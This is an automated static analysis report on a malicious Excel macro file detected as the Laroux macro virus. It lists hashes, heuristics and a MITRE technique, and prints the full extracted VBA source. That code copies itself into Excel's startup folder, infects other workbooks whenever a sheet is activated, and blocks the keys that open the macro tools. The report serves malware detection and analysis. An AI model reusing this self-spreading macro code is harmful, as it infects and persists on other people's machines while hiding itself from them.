Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 117bb81b607b6a8d…

MALICIOUS

Office (OLE)

249.0 KB Created: 2003-03-17 07:41:45 Authoring application: Microsoft Excel First seen: 2015-09-20
MD5: 2789b9dddfc38f3aaac973d4b04525e0 SHA-1: 7b27becf4b4af193de410a259f2fcd7613ae4366 SHA-256: 117bb81b607b6a8d363af7908c612a06616c571a0eb02c71d21ca472596d82f9
88 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The critical ClamAV detection and the presence of VBA macros, specifically an Auto_Open macro, indicate malicious intent. The Auto_Open macro attempts to copy itself to the Excel startup directory as 'StartUp.xls', likely to achieve persistence. The VBA code is designed to execute automatically when Excel starts, potentially leading to further malicious activity.

Heuristics 3

  • ClamAV: Doc.Macro.Laroux-5893719-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Laroux-5893719-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub auto_open()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1553 bytes
SHA-256: 8a632357ab898c68ea245a70ca18aa5c0df28cfbbf7196bf8490d85159a50704
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "StartUp"
Sub auto_open()
Application.ScreenUpdating = False
On Error Resume Next
If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "StartUp.xls") = "" Then
Application.ScreenUpdating = False
ThisWorkbook.Sheets("StartUp").Copy
ActiveWorkbook.SaveAs (Application.StartupPath & "\" & "StartUp.xls")
n$ = ActiveWorkbook.Name
ActiveWindow.Visible = False
Workbooks("StartUp.xls").Save
Workbooks(n$).Close (False)
End If
Application.OnSheetActivate = "StartUp.xls!cop"
Application.OnKey "%{F11}", "StartUp.xls!escape"
Application.OnKey "%{F8}", "StartUp.xls!escape"
End Sub
Sub cop()
On Error Resume Next
If ActiveWorkbook.Sheets(1).Name <> "StartUp" Then
Application.ScreenUpdating = False
n$ = ActiveSheet.Name
Workbooks("StartUp.xls").Sheets("StartUp").Copy before:=Worksheets(1)
Sheets(n$).Select
End If
End Sub
Sub back()
On Error Resume Next
Application.OnKey "%{F8}", "StartUp.xls!escape"
Application.OnKey "%{F11}", "StartUp.xls!escape"
Application.OnSheetActivate = "StartUp.xls!cop"
Application.OnTime Now + TimeValue("00:00:01"), "StartUp.xls!cop"
Workbooks.Open Application.StartupPath & "\StartUp.xls"
Application.ScreenUpdating = True
End Sub

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

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